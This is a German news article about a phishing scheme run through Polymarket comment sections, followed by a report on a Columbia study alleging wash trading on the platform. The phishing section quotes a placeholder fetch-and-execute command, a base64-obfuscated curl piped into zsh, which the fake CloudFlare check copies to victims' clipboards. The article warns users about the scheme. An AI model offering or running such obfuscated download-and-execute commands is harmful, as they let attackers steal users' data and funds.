Phishing-Links in Polymarket-Privatmärkten: Nutzer alarmieren

Polymarket ist erneut in den Schlagzeilen, diesmal weil einer seiner Senior-Trader mit dem Spitznamen „25usdc“ Alarm über ein Schema geschlagen hat, das die Kommentarsektion der Plattform nutzt, um ahnungslose Nutzer auszunutzen. 

Dies geschieht zu einer entscheidenden Zeit für die Polymarket-Plattform, da sie sich darauf vorbereitet, in den US-Markt zurückzukehren, und Schwierigkeiten hat, Konkurrenten wie Kalshi zu überholen. 

Polymarket-Trader in hoher Alarmbereitschaft 

Laut 25usdchaben Hacker die Kommentarsektion von Polymarket genutzt, um einen Betrug durchzuführen, und bisher haben Nutzer über 500.000 US-Dollar verloren.

„Sie sagen: ‚Warum handelst du nicht in den Polymarket-Privatmärkten? Die Quoten sind dort immer viel besser!‘“ schrieb 25usdc, bevor er erklärte, wie der gesamte Betrug funktioniert. 

Ihremnach beginnt alles damit, dass sie sowohl Ja- als auch Nein-Aktien für einen Markt von zwei separaten Konten kaufen. Auf diese Weise bleiben ihre Kommentare auch dann sichtbar, wenn der „Holders“-Filter aktiviert ist. Danach posten sie eine URL zu ihrer Website in verschleierter Form.

Die URL führt den ahnungslosen Nutzer zu einer sauber aussehenden Seite mit einem Polymarket-Logo und fordert die Nutzer auf, sich per E-Mail anzumelden. Sobald die E-Mail verifiziert ist, poppt ein neues Fenster auf, das den Nutzer auffordert, seine Aktivität zu verifizieren, und imitiert CloudFlare. 

Allerdings sagt 25usdc, dass beim Klicken auf „Kopieren“ ein Befehl, der in etwa so aussieht „curl -kfsSL $(echo ‘ENCODED_STRING==’|base64 -d)|zsh“, kopiert wird, und das Erste, was er tut, wenn der Nutzer den Fehler macht, ihn in sein Terminal einzufügen, ist, die base64-codierte Zeichenfolge (eine Server-URL) zu decodieren, wonach er ein Skript von diesem Server abruft und es sofort ausführt. 

Das betreffende Skript kann alles enthalten, und Berichten zufolge wird es keinen Popup-Warnung geben, zu diesem Zeitpunkt ist der Schaden bereits angerichtet, und die einzige Abhilfe laut 25usdc könnte sein, das WLAN auszuschalten. 

„Am Ende sammeln sie Daten, protokollieren alles auf Ihrem System und senden einen Zip-Ordner zurück an ihren Server“, schrieb 25usdc. „Sie verwenden diese Daten dann, um sich in Ihre Konten einzuloggen und Ihr Geld zu stehlen.“

Andere Dinge, die er bemerkte, waren, wie sorgfältig die Gruppe operiert; zum Beispiel decken sie ihre Spuren, indem sie oft die Wallets wechseln, verschleiern bei jedem Schritt und schalten sogar den Server, der Payloads sendet und protokollierte Daten empfängt, ab, wenn es keine aktiven Opfer gibt.

„Ich denke, der beste Weg, dies anzugehen, ist, vertrauenswürdigen Nutzern zu erlauben, Kommentare zu überprüfen, oder ein Downvote-System einzuführen, das stark abgestimmte Beiträge ausblendet“, schloss 25usdc und wies darauf hin, dass das einfache warnen Polymarket zeigt derzeit nicht ausreichen wird. 

PSA: Es gibt keine Polymarket-„Privatmarkt“-Website mit „besseren Quoten“

Geben Sie niemals Ihre Polymarket-E-Mail oder Ihren Login-Verifizierungscode auf etwas anderem als unserer offiziellen Site ein.

— Polymarket-Trader (@PolymarketTrade) 9. November 2025

Neue Studie behauptet, Polymarkets Volumen werde durch Wash-Trading gestützt

Wie Cryptopolitan berichteteeine kürzlich veröffentlichte Studie von Forschern der Columbia University behauptet, dass das Aktivitätsvolumen auf Polymarket durch Wash-Trading erheblich aufgebläht wurde. 

Der „künstliche Handel“, wie die Autoren ihn nannten, variierte im Laufe der Zeit, aber sie sagen, dass er im Durchschnitt 25 % aller Käufe und Verkäufe auf Polymarket in den letzten drei Jahren ausmachte. 

Das Papier hat keine Peer-Review durchlaufen, ist aber bereits auf der Open-Access-Forschungsplattform SSRN verfügbar und wird von Polymarket überprüft. 

Um klar zu sein, beschuldigen die Autoren Polymarket nicht direkt des Wash-Tradings. Allerdings haben sie Elemente der kryptobasierten Struktur der Börse hervorgehoben, die die Behauptung plausibel machen.  

Sie haben auch angedeutet, dass die Kunden des Unternehmens unabhängig voneinander an besagtem Wash-Trading beteiligt gewesen sein könnten, in dem Versuch, ihre Chancen zu verbessern, Zugang zu einem proprietären digitalen Token zu erhalten, das der Gründer des Unternehmens, Shayne Coplan, kürzlich am 8. Oktober als Möglichkeit angedeutet hat. 

„Ich hoffe, dass Polymarket die Analyse in unserem Papier begrüßen wird“, sagte Yash Kanoria, ein Professor an der Business School der Columbia University und einer der vier Co-Autoren des Papiers, in einer E-Mail. „Wash-Trading fügt der Markttiefe oder -information keine Liquidität oder Information hinzu, daher scheint es wertvoll, authentisches von inauthentischem Volumen zu unterscheiden.“

Wenn ein Teil des Volumens von Polymarket wirklich „fiktiv“ ist, behauptet die Studie, dass dies das Verständnis der relativen Stärke von Polymarket in der Branche verändern und auch das aktuelle Konzept untergraben könnte, dass Vorhersagemärkte die „Weisheit einer größeren Menge“ widerspiegeln.

„Das Potenzial für großflächiges Wash-Trading bedeutet, dass das Volumen als Metrik für authentische Plattformaktivität unzuverlässig sein kann, insbesondere bei kryptobasierten Börsen, die möglicherweise nicht über angemessene Schutzmaßnahmen verfügen“, schlossen die Autoren.